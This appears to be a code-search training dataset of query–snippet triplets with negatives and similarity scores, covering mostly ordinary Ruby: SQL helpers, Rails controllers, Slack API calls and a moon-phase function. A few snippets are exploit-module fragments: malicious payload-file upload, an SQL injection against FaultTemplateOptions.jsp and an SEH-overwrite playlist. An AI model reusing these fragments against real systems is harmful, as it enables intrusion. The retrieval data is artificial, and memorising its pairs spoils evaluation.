"def query(sql)\n @dataset = @database[sql] #Take SQL string and connect it to a DB\n #puts(\"Datset\", data... | [
"0.79492897",
"0.73997205",
"0.685526",
"0.6798845",
"0.67487085",
"0.6696809",
"0.6673572",
"0.66625863",
"0.65942603",
"0.6555193",
"0.6496758",
"0.6495599",
"0.6481288",
"0.6456129",
"0.6443737",
"0.6435443",
"0.643409",
"0.6374253",
"0.6371923",
"0.6354564",
"0.6354564",
... | 0.7457492 | 1 |
Return the data by sql. | def multiple_query sql
splited_sql = sql.split(';')
splited_sql.each do |each_sql|
query(each_sql)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_data sql\n #$log.debug \"SQL: #{sql} \"\n columns, *rows = @db.execute2(sql)\n #$log.debug \"XXX COLUMNS #{sql}, #{rows.count} \"\n content = rows\n return content\n end",
"def query sql\n result = db[sql].all\n return result\n end",
"def query(sql)\n @dataset = @databa... | [
"0.7949331",
"0.745454",
"0.73986965",
"0.6853505",
"0.6793336",
"0.6748105",
"0.6690205",
"0.66699433",
"0.6661436",
"0.6596774",
"0.65487766",
"0.6495351",
"0.6493552",
"0.64765835",
"0.64553165",
"0.6442048",
"0.6435758",
"0.643221",
"0.6372002",
"0.63701946",
"0.6349587",... | 0.0 | -1 |
Return the data and execute duration by sql. | def query_duration sql, type = true, waiting_time = 10
start = Time.now
if type
result = query_wait(sql, waiting_time)
else
result = query_empty(sql, waiting_time)
end
finish = Time.now
msecs = (finish - start) * 1000.0
hash = {'result' => result, 'duration' => ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_data sql\n #$log.debug \"SQL: #{sql} \"\n columns, *rows = @db.execute2(sql)\n #$log.debug \"XXX COLUMNS #{sql}, #{rows.count} \"\n content = rows\n return content\n end",
"def query(sql)\n @dataset = @database[sql] #Take SQL string and connect it to a DB\n #puts(\"Datset\", data... | [
"0.6962788",
"0.6525809",
"0.64478445",
"0.63974524",
"0.62408745",
"0.62157834",
"0.6184216",
"0.6135487",
"0.60968816",
"0.6087894",
"0.60818493",
"0.6059458",
"0.6021011",
"0.60156965",
"0.59991914",
"0.5983983",
"0.5964138",
"0.5963827",
"0.59540606",
"0.5946731",
"0.5946... | 0.64440453 | 3 |
Expect to return data for the query. If the result is empty then it will be called again until waiting_time reach. | def query_wait sql, waiting_time = 10
result = db[sql].all
if result.empty?
if waiting_time != 0
sleep 1
result = query_wait(sql, waiting_time - 1)
end
end
return result
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def wait_for_results\n wait_until(Config.medium_wait) { elements(result_rows).any? }\n end",
"def query_empty sql, waiting_time = 10\n result = db[sql].all\n if !result.empty?\n if waiting_time != 0\n sleep 1\n result = query(sql, waiting_time - 1)\n end\n end\n... | [
"0.67907155",
"0.67674935",
"0.67549616",
"0.6585321",
"0.64176154",
"0.6284228",
"0.61836076",
"0.6172263",
"0.6161839",
"0.61509824",
"0.61509824",
"0.6068157",
"0.6028184",
"0.59638995",
"0.59427774",
"0.5942147",
"0.5891392",
"0.58850956",
"0.5880313",
"0.5880313",
"0.588... | 0.6772644 | 1 |
Expect to return empty for the query. If the result is not empty then it will be called again until waiting_time reach. | def query_empty sql, waiting_time = 10
result = db[sql].all
if !result.empty?
if waiting_time != 0
sleep 1
result = query(sql, waiting_time - 1)
end
end
return result
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def wait_until_not_full; end",
"def query_wait sql, waiting_time = 10\n result = db[sql].all\n if result.empty?\n if waiting_time != 0\n sleep 1\n result = query_wait(sql, waiting_time - 1)\n end\n end\n return result\n end",
"def test_empty_result\n wh... | [
"0.69778615",
"0.6778673",
"0.676022",
"0.66050375",
"0.65675163",
"0.64682966",
"0.62924063",
"0.62924063",
"0.62231207",
"0.6109141",
"0.6085463",
"0.607087",
"0.603842",
"0.5939855",
"0.5893612",
"0.5836419",
"0.5836419",
"0.58053327",
"0.58053327",
"0.58053327",
"0.579993... | 0.7511351 | 0 |
Execute by sql, the sql is normally update or insert. | def execute sql
db[sql]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def execute(sql)\r\n\t\t@connection.Execute(sql)\r\n\tend",
"def execute(sql)\n @db.send(:_execute, self, sql, :log=>false) \n end",
"def execute(sql)\n @database_handle.execute(sql)\n end",
"def exec(sql)\n Logging.with_logged_query self, sql do\n raw_connection.exec sql\n end\n ... | [
"0.81604177",
"0.81470627",
"0.79957694",
"0.79570764",
"0.7895779",
"0.782867",
"0.7750901",
"0.7687559",
"0.75810385",
"0.7565535",
"0.75438654",
"0.745437",
"0.74509174",
"0.7450071",
"0.7434746",
"0.7398236",
"0.7380326",
"0.7366072",
"0.73579663",
"0.7345206",
"0.7332626... | 0.81514496 | 1 |
Insert data by data. | def insert_by_data data, table
sql = "insert into #{table} "
case data
when Array
data.each do |d|
insert_by_data(d, table)
end
when Hash
columns = data.keys.to_s.gsub('[','(').gsub(']',')').gsub('"','')
values = data.values.to_s.gsub('[','... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def insert(data) \n set data, 1\n end",
"def insert(data) \n set data, 1\n end",
"def insert_data(data)\n self.root = insert(data)\n end",
"def insert(*args)\n dataset.insert(*args)\n self\n end",
"def insert(data)\n if data.is_a?(Array) and data[0].is_a?(A... | [
"0.7949199",
"0.7949199",
"0.75165635",
"0.7339702",
"0.7317126",
"0.7128491",
"0.6961246",
"0.6903172",
"0.683239",
"0.6798744",
"0.67445916",
"0.6730382",
"0.66621053",
"0.6651499",
"0.6651499",
"0.6630905",
"0.6613394",
"0.6610019",
"0.6610019",
"0.66025716",
"0.650457",
... | 0.7209034 | 5 |
Update data by data. | def update data, table, condition = {}
sql = "update #{table} set"
data.each do |k,v|
v = v.to_json if v.is_a?(Hash)
if !!v == v
sql = "#{sql} #{k}=#{v},"
else
sql = "#{sql} #{k}='#{v}',"
end
end
sql = sql[0..-2] + " where"
condition.each... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update(data)\n data.each do |key, value|\n __send__(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n end\n end",
"def update!(**args)\n @data = args[:data] if args.key?(:data)\n end",
"def update!(**args)\n @data = args[:data] if args.key?(:data)\n ... | [
"0.7954017",
"0.7639571",
"0.7639571",
"0.7639571",
"0.7442486",
"0.74197567",
"0.7360577",
"0.73097813",
"0.724616",
"0.71013737",
"0.70785487",
"0.706985",
"0.7043484",
"0.70242965",
"0.7014586",
"0.69587517",
"0.69511515",
"0.6932733",
"0.6882506",
"0.6849684",
"0.6835415"... | 0.63722247 | 52 |
GET /replies GET /replies.json | def index
@replies = Reply.all
render json: @replies
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @replies = Reply.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @replies }\n end\n end",
"def index\n @replies = Reply.all\n end",
"def index\n @replies = Reply.all\n end",
"def index\n @replies = Reply.all\n end",
... | [
"0.77160245",
"0.75686175",
"0.75090647",
"0.75090647",
"0.75090647",
"0.75090647",
"0.7389734",
"0.7352302",
"0.7256259",
"0.71890837",
"0.7157434",
"0.7132064",
"0.7050306",
"0.70496905",
"0.70451885",
"0.70356685",
"0.70252913",
"0.7015239",
"0.69827443",
"0.6982645",
"0.6... | 0.78143 | 1 |
GET /replies/1 GET /replies/1.json | def show
@reply = Reply.find(params[:id])
render json: @reply
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def index\n @replies = Reply.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @replies }\n end\n en... | [
"0.754985",
"0.754985",
"0.7533802",
"0.73624223",
"0.73624223",
"0.73624223",
"0.73624223",
"0.73463684",
"0.7328351",
"0.7256015",
"0.71625733",
"0.70620614",
"0.70332223",
"0.70332223",
"0.7030919",
"0.70246583",
"0.693516",
"0.6910404",
"0.689843",
"0.68767333",
"0.681303... | 0.72113717 | 10 |
POST /replies POST /replies.json | def create
@reply = Reply.new(params[:reply])
if @reply.save
render json: @reply, status: :created, location: @reply
else
render json: @reply.errors, status: :unprocessable_entity
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @reply = @place.replies.new(reply_params)\n @reply.user = current_user\n if @reply.save\n render :show, status: :created, location: @reply\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def reply_to_post\n puts params[:r... | [
"0.73018897",
"0.7238259",
"0.7232087",
"0.7096654",
"0.7074214",
"0.70589364",
"0.7027279",
"0.7009131",
"0.6924008",
"0.6904648",
"0.6904648",
"0.68951243",
"0.6858559",
"0.6858559",
"0.6847542",
"0.6833775",
"0.67760825",
"0.6737637",
"0.6731515",
"0.6731515",
"0.6731515",... | 0.7057672 | 6 |
PATCH/PUT /replies/1 PATCH/PUT /replies/1.json | def update
@reply = Reply.find(params[:id])
if @reply.update(params[:reply])
head :no_content
else
render json: @reply.errors, status: :unprocessable_entity
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update!(**args)\n @replies = args[:replies] if args.key?(:replies)\n @root_comment = args[:root_comment] if args.key?(:root_comment)\n end",
"def update\n @reply = @topic.replies.find(params[:id])\n\n respond_to do |format|\n if @reply.update_attributes(params[:reply])\n ... | [
"0.7315209",
"0.7073707",
"0.7073478",
"0.70286816",
"0.7021466",
"0.7003674",
"0.6975203",
"0.69637907",
"0.69637907",
"0.69637907",
"0.69637907",
"0.69637907",
"0.69512594",
"0.694552",
"0.6938345",
"0.6937629",
"0.6931145",
"0.6742362",
"0.67365754",
"0.66271913",
"0.66008... | 0.70962775 | 1 |
DELETE /replies/1 DELETE /replies/1.json | def destroy
@reply = Reply.find(params[:id])
@reply.destroy
head :no_content
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @reply = @message.replies.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to([@user,@message]) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to repli... | [
"0.7838339",
"0.77258545",
"0.7712425",
"0.7712425",
"0.7706859",
"0.7657339",
"0.7619147",
"0.7619147",
"0.7619147",
"0.7619147",
"0.7619147",
"0.7610875",
"0.7598955",
"0.7476844",
"0.7471063",
"0.7463484",
"0.7430144",
"0.7353336",
"0.72845805",
"0.7194424",
"0.7190728",
... | 0.7688689 | 5 |
Instanciates a new ServiceAccount to be created for the supplied Identity on the current authenticated application. See save | def initialize(identity, attributes={})
set_attributes(attributes)
@identity = identity
@persisted = false
@errors = {}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create(account_identity, body = {})\n @client.federatedsamlidp.create(account_identity, body)\n end",
"def create(account_identity, body = {})\n @client.samlidp.create(account_identity, body)\n end",
"def create( params )\n params.delete( :id ) # Prevent overwriting ID\n Account.n... | [
"0.6466201",
"0.6398335",
"0.6388486",
"0.62444866",
"0.6241349",
"0.6202055",
"0.6116551",
"0.6091881",
"0.6057364",
"0.60477",
"0.60157967",
"0.59321195",
"0.592565",
"0.5884664",
"0.5859206",
"0.5841665",
"0.57963306",
"0.5790244",
"0.5766389",
"0.5747579",
"0.57064295",
... | 0.0 | -1 |
Creates a new ServiceAccount for the supplied Identity on the current authenticated application. The supplied Identity will be the ServiceAccount's owner. You should supply either the name or the (service account's) uuid attribute. If the latter is supplied, the supplied Identity must already be owner of at least one o... | def save
# TODO validar atributos?
response = Http.post("/organizations/api/identities/#{self.identity.uuid}/accounts/", create_body)
raise "unexpected response: #{response.code} - #{response.body}" unless response.code == 201
attributes_hash = MultiJson.decode(response.body)
set_attribute... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_service_account(body, opts = {})\n data, _status_code, _headers = create_service_account_with_http_info(body, opts)\n data\n end",
"def create\n response = UserAccount::Create.call(user_account_params)\n if response.success?\n success_response(message: response.status_message, ... | [
"0.6029675",
"0.58770245",
"0.5845359",
"0.56950694",
"0.5678854",
"0.56645095",
"0.5615078",
"0.5591986",
"0.5427948",
"0.5393776",
"0.5392749",
"0.5368294",
"0.5341679",
"0.5325161",
"0.5317503",
"0.5236653",
"0.5231116",
"0.52279174",
"0.5194008",
"0.5164079",
"0.5159024",... | 0.57537556 | 3 |
Returns true if the IdentityServiceAccount exists on PassaporteWeb | def persisted?
@persisted == true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def service_pt?()\n return true if (@service == TAC_PLUS_AUTHEN_SVC_PT)\n return false\n end",
"def account_has_service?(service)\n account = Account.find(current_user)\n account.service?(service)\n end",
"def service_login?()\n return true if (@service == TAC_PLUS_AUTHEN_SVC_LOG... | [
"0.67756546",
"0.6646045",
"0.6452405",
"0.62298656",
"0.62275624",
"0.6152625",
"0.6094916",
"0.5990332",
"0.5959869",
"0.5940055",
"0.5922311",
"0.59182847",
"0.58249307",
"0.58237",
"0.5815989",
"0.57943046",
"0.5749319",
"0.5742202",
"0.57362604",
"0.5713113",
"0.56981444... | 0.0 | -1 |
Returns a hash with all attribures of the IdentityServiceAccount | def attributes
ATTRIBUTES.inject({}) do |hash, attribute|
hash[attribute] = self.send(attribute)
hash
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def hash\n [account_id, account_name, is_default, base_uri, organization].hash\n end",
"def hash\n [admin, created_at, customer_id, description, event_type, ip, metadata, s... | [
"0.62313247",
"0.62228286",
"0.62200236",
"0.6185719",
"0.60098743",
"0.59807765",
"0.5966616",
"0.5962228",
"0.5942107",
"0.5916843",
"0.5897654",
"0.58900434",
"0.5878121",
"0.587494",
"0.5863866",
"0.585092",
"0.58489317",
"0.5834435",
"0.58309734",
"0.5808364",
"0.5767435... | 0.5376282 | 90 |
The Net::HTTP libraries does some transformations on the request headers, to circumvent this, a request is directly sended over TCP. issue 12 describes a case, where an all upper case header will not be converted | def test_receive_ua_cpu_header
lines = [
"GET /index.html HTTP/1.1\r\n",
"Host: google.de\r\n",
"UA-CPU: AMD64\r\n",
"Connection: close\r\n",
"\r\n" ]
require 'socket'
socket = TCPSocket.new @@HOST, @@PORT
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def fixup_headers\n\t\t\tif @content\n\t\t\t\t@headers[\"Content-length\"] = content.to_s.bytesize\n\t\t\telsif @chunks\n\t\t\t\t@headers[\"Transfer-encoding\"] = \"chunked\"\n\t\t\t\t# Might be nice to ENSURE there is no content-length header,\n\t\t\t\t# but how to detect all the possible permutations of upper/lo... | [
"0.6436261",
"0.63719094",
"0.6268655",
"0.62222975",
"0.61776793",
"0.6139612",
"0.61078817",
"0.60529786",
"0.603504",
"0.5991508",
"0.5975171",
"0.5926054",
"0.5894831",
"0.5886184",
"0.5870107",
"0.5845219",
"0.58283114",
"0.5755865",
"0.5720982",
"0.57206935",
"0.571512"... | 0.0 | -1 |
just make sure, that the case is handled by the server and does not crash the application currently there is a upper limit for http header length | def test_very_long_request
header_length = 10000
result = Net::HTTP.start @@HOST, @@PORT do | http |
request = Net::HTTP::Get.new '/index.html'
request[ 'request_header' ] = ( 1..header_length ).collect { 'a' }.reduce(:+)
begin
h... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def content_length; end",
"def content_length; end",
"def content_length; end",
"def maximum_header_size\n super\n end",
"def maximum_header_size\n super\n end",
"def header_length() 3 end",
"def set_content_length!\n unless body.respond_to?(:call) || (status && status[0..2] == '... | [
"0.67974985",
"0.67974985",
"0.67974985",
"0.6572873",
"0.6572873",
"0.6546774",
"0.65315485",
"0.6421496",
"0.6387231",
"0.63776696",
"0.6360684",
"0.6356999",
"0.6335138",
"0.6310173",
"0.6278838",
"0.62228584",
"0.6222411",
"0.621821",
"0.6213448",
"0.61651355",
"0.6099141... | 0.6063322 | 24 |
Always return nil as the api location to prevent respond_with on POST/PUT/DELETE actions attempting to redirect to the resource. | def api_location
nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def respond_with(resource, *args, location: nil, **kwargs)\n if location\n redirect_to location\n else\n super(resource, *args, **kwargs)\n end\n end",
"def respond_with(*args, &blk)\n opts = args.extract_options!\n opts[:location] = nil\n args << opts\n super(*args, &blk)... | [
"0.68754596",
"0.6455606",
"0.6349181",
"0.63344735",
"0.6207913",
"0.6207765",
"0.6199888",
"0.61670196",
"0.6128251",
"0.6060631",
"0.60153943",
"0.59715647",
"0.59715647",
"0.59202737",
"0.59168196",
"0.59106106",
"0.5906093",
"0.5898325",
"0.58932966",
"0.5873502",
"0.587... | 0.7226339 | 0 |
Creating and sending malicious files | def file_up(platform, dir)
# specifying an extension by platform
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /python/
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def send_file(path); end",
"def exploit\n seh = generate_seh_payload(target.ret)\n filepls = \"[playlist]\\n\"\n filepls += \"NumberOfEntries=1\\n\\n\"\n filepls += \"File1=\" \n filepls += \"A\" * target['BufSize']\n #filepls += [target.ret].pack('V') + payload.encoded ... | [
"0.649643",
"0.62191457",
"0.60726434",
"0.60293907",
"0.5987835",
"0.59506685",
"0.58980924",
"0.58967113",
"0.5872848",
"0.58277965",
"0.5806515",
"0.58026254",
"0.57765126",
"0.57765126",
"0.57765126",
"0.5731511",
"0.57023555",
"0.5690396",
"0.56801534",
"0.5666847",
"0.5... | 0.6350296 | 1 |
Communication with the database | def use_sqli(mssql, postgresql)
# two different post data must be sent.
# Because the query structures are different.
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),
'vars_post' => {
'resourceid' => mssq... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def connection; end",
"def connection; end",
"def connection; end",
"def connection; end",
"def connection; end",
"def connection; end",
"def connection; end",
"def connection; end",
"def db; end",
"def db; end",
"def connection\n @db = Connection.client\nend",
"def establish_connection\n ... | [
"0.7049616",
"0.7049616",
"0.7049616",
"0.7049616",
"0.7049616",
"0.7049616",
"0.7049616",
"0.7049616",
"0.664492",
"0.664492",
"0.6635401",
"0.6450256",
"0.6248109",
"0.6209776",
"0.6116445",
"0.6110345",
"0.61099905",
"0.61011124",
"0.6070025",
"0.6062199",
"0.6061394",
"... | 0.0 | -1 |
Gets billable users information for the current team. | def team_billableInfo(options = {})
options = options.merge(user: users_id(options)['user']['id']) if options[:user]
if block_given?
Pagination::Cursor.new(self, :team_billableInfo, options).each do |page|
yield page
end
else
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def team_billableInfo(options={})\n post(\"team.billableInfo\", options)\n end",
"def fetch_data(team, start, end_date)\n team.users.map do |u|\n { capacity: u.capacity(start, end_date),\n gravatar: u.gravatar_url,\n name: u.name }\n end\n end",
... | [
"0.7136884",
"0.62639225",
"0.59601164",
"0.5862836",
"0.5777024",
"0.5759906",
"0.5744854",
"0.5677438",
"0.56681836",
"0.5659894",
"0.5649121",
"0.5632659",
"0.5582559",
"0.5574554",
"0.5573442",
"0.55670655",
"0.5542839",
"0.5526232",
"0.5526232",
"0.55085313",
"0.55039924... | 0.755771 | 0 |
Gets information about the current team. | def team_info(options = {})
post('team.info', options)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def team\n Team.find(@current_team_id)\n end",
"def get_team_details(params)\n get('team', params)\n end",
"def info(team_id)\n @client.team.info(team_id)\n end",
"def team_info(options={})\n post(\"team.info\", options)\n end",
"def current_team\n\t\tTeam.find_by(id... | [
"0.78583646",
"0.7792944",
"0.7736243",
"0.7687802",
"0.755339",
"0.74958295",
"0.7447322",
"0.7435782",
"0.740905",
"0.73547655",
"0.730572",
"0.72696286",
"0.7236104",
"0.71764493",
"0.7072087",
"0.70537823",
"0.7046418",
"0.7019932",
"0.6917104",
"0.6906961",
"0.68577915",... | 0.76015407 | 4 |
Gets the integration logs for the current team. | def team_integrationLogs(options = {})
options = options.merge(user: users_id(options)['user']['id']) if options[:user]
post('team.integrationLogs', options)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def logs\n cloud = Cloud.instance\n cloud.auth_for_accounts [id]\n cloud.get(['cloud-service-logging', 'accounts', id, 'logs', 'paginated?lang=DE']).body.logs\n end",
"def get_integration_log(pk, sk, opts = {})\n data, _status_code, _headers = get_integration_log_with_http_info(pk, sk, opt... | [
"0.64174485",
"0.59077555",
"0.59047866",
"0.5860809",
"0.5837672",
"0.5796979",
"0.5796979",
"0.5796979",
"0.5781516",
"0.5753918",
"0.57394063",
"0.57306814",
"0.5629587",
"0.56245035",
"0.56045073",
"0.55736536",
"0.55736536",
"0.5570902",
"0.5570701",
"0.55641145",
"0.554... | 0.6734108 | 0 |
A hash of inner commands in show | def commands
{
'TODO' => "This one shout take its sub commands from current(headers/body) variables and the key value should be the command description
This one should depend on current context"
}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show boook\n\t\t\tputs @hash\n\t\t\t\n\t\tend",
"def subcommands_presentation\n return nil unless command.commands.size > 0\n command.commands.values.uniq.map(&:summarize).join(\"\\n\")\n end",
"def cmd_ids\n print_tree(Editor, 0, true)\n end",
"def commands\n {}\n end",
"def r... | [
"0.65485215",
"0.6394271",
"0.6269981",
"0.6187251",
"0.6156318",
"0.6129292",
"0.611309",
"0.6079481",
"0.6079481",
"0.6070857",
"0.6022623",
"0.6013941",
"0.60050565",
"0.59481555",
"0.5942981",
"0.59172446",
"0.59172446",
"0.58894444",
"0.5877656",
"0.5875388",
"0.5865702"... | 0.62545604 | 3 |
Just what the command use to do | def action
puts "use command!\n\n"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def cmd; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def command_name; end",
"def extract_command; end",
"def run_cmd(cmd)\n\tend",
"def commands; en... | [
"0.81322414",
"0.7726392",
"0.7726392",
"0.7726392",
"0.7726392",
"0.7726392",
"0.7726392",
"0.74995315",
"0.74995315",
"0.74995315",
"0.7401866",
"0.70890296",
"0.7038268",
"0.6994924",
"0.69640356",
"0.6924839",
"0.69221926",
"0.69144994",
"0.6885153",
"0.6857546",
"0.68546... | 0.61746 | 90 |
GET /areas/1 GET /areas/1.xml | def show
if params[:permalink]
@area = Area.find_by_permalink(params[:permalink])
raise ActiveRecord::RecordNotFound, "Page not found" if @area.nil?
else
@area = Area.find(params[:id])
end
@events = @area.events.paginate :page => params[:page]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @areas = Area.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @areas }\n format.json {render :json => @areas}\n end\n end",
"def show\n @area = Area.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.... | [
"0.698357",
"0.67910737",
"0.67910737",
"0.6774861",
"0.67440534",
"0.6442665",
"0.63047963",
"0.6242953",
"0.6171282",
"0.61588943",
"0.61342835",
"0.61309433",
"0.6130443",
"0.60996217",
"0.6024495",
"0.5990197",
"0.5986323",
"0.59692204",
"0.59692204",
"0.5912442",
"0.5900... | 0.0 | -1 |
GET /areas/new GET /areas/new.xml | def new
@area = Area.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @area }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @area = Area.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @area }\n end\n end",
"def new\n @area = Area.new\n @other_areas = Area.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render jso... | [
"0.7656422",
"0.7175147",
"0.70470935",
"0.70470935",
"0.70358944",
"0.70013124",
"0.68175423",
"0.67230386",
"0.6708127",
"0.6676335",
"0.6647508",
"0.6646985",
"0.66084933",
"0.6583756",
"0.6563511",
"0.6554789",
"0.6545777",
"0.65446466",
"0.65432894",
"0.653885",
"0.65388... | 0.76506555 | 2 |
POST /areas POST /areas.xml | def create
@area = Area.new(params[:area])
respond_to do |format|
if @area.save
flash[:notice] = 'Area was successfully created.'
format.html { redirect_to(@area) }
format.xml { render :xml => @area, :status => :created, :location => @area }
else
format.html { rende... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def areas\n @area = Area.new(geo_json: params.to_json)\n if @area.save\n json_response([id: @area.id], :created, :geo_json_recieved)\n else\n json_response(nil, :error, :db_error)\n end\n end",
"def create\n #params[:area] == {\"parent_id\"=>\"21\",\"name\"=>\"test4\"} parent id from h... | [
"0.6389588",
"0.613334",
"0.60523283",
"0.6039613",
"0.6039613",
"0.5946901",
"0.57835853",
"0.5775922",
"0.57646745",
"0.5720825",
"0.57188797",
"0.5704432",
"0.5693402",
"0.5693402",
"0.5679947",
"0.56762606",
"0.56721854",
"0.56522924",
"0.5638764",
"0.56236595",
"0.558302... | 0.6345545 | 1 |
PUT /areas/1 PUT /areas/1.xml | def update
@area = Area.find(params[:id])
respond_to do |format|
if @area.update_attributes(params[:area])
flash[:notice] = 'Area was successfully updated.'
format.html { redirect_to(@area) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @area = Area.find(params[:id])\n \n respond_to do |format|\n if @area.update_attributes(params[:area])\n flash[:notice] = 'Area actualizado correctamente.'\n format.html { redirect_to(@area) }\n format.xml { head :ok }\n else\n format.html { render :acti... | [
"0.6410856",
"0.6384846",
"0.63053644",
"0.63053644",
"0.63053644",
"0.61739045",
"0.6122322",
"0.6122322",
"0.59582716",
"0.5875499",
"0.5841774",
"0.57423276",
"0.5738485",
"0.5698895",
"0.56285596",
"0.5619221",
"0.5589899",
"0.5578848",
"0.5577936",
"0.55620617",
"0.54647... | 0.6549098 | 1 |
DELETE /areas/1 DELETE /areas/1.xml | def destroy
@area = Area.find(params[:id])
@area.destroy
respond_to do |format|
format.html { redirect_to(home_path) }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @area = Area.find(params[:id])\n if @area.children.size == 0 and @area.name != \"localhost\"\n @area.destroy\n flash[:notice] = \"Deleted #{@area.to_s}\" \n else\n flash[:notice] = \"#{@area.to_s} not deleted. It has children or is the localhost node.\" \n end\n\n re... | [
"0.7225709",
"0.7213157",
"0.7213157",
"0.6890177",
"0.6890177",
"0.6686041",
"0.6589877",
"0.6586144",
"0.657855",
"0.657855",
"0.657855",
"0.65232116",
"0.64984834",
"0.64767593",
"0.64695555",
"0.64647865",
"0.6435746",
"0.64245796",
"0.63902956",
"0.63806",
"0.6303307",
... | 0.695698 | 3 |
Day and night system | def pbGetTimeNow
return Time.now
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def wday() end",
"def day() end",
"def w_day; end",
"def cwday\n end",
"def night\nend",
"def day\n end",
"def yday() end",
"def day; end",
"def time_of_day(daylight)\n if daylight\n puts \"It's daytime!\"\n else\n puts \"It's nighttime!\"\n end\nend",
"def day_of_week\n dnum = ... | [
"0.74105626",
"0.7326862",
"0.7232148",
"0.69807506",
"0.6904246",
"0.68503827",
"0.6805999",
"0.6803966",
"0.66782063",
"0.6623239",
"0.6594732",
"0.64927644",
"0.64343923",
"0.64076054",
"0.64026564",
"0.6394949",
"0.637918",
"0.6365798",
"0.6318421",
"0.6315873",
"0.630791... | 0.0 | -1 |
Zodiac and day/month checks Calculates the phase of the moon. 0 New Moon 1 Waxing Crescent 2 First Quarter 3 Waxing Gibbous 4 Full Moon 5 Waning Gibbous 6 Last Quarter 7 Waning Crescent | def moonphase(time) # in UTC
transitions=[
1.8456618033125,
5.5369854099375,
9.2283090165625,
12.9196326231875,
16.6109562298125,
20.3022798364375,
23.9936034430625,
27.6849270496875]
yy=time.year-((12-time.mon)/10.0).floor
j=(365.25*(4712+yy)).floor + (((time.mon+9)%12)*30... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
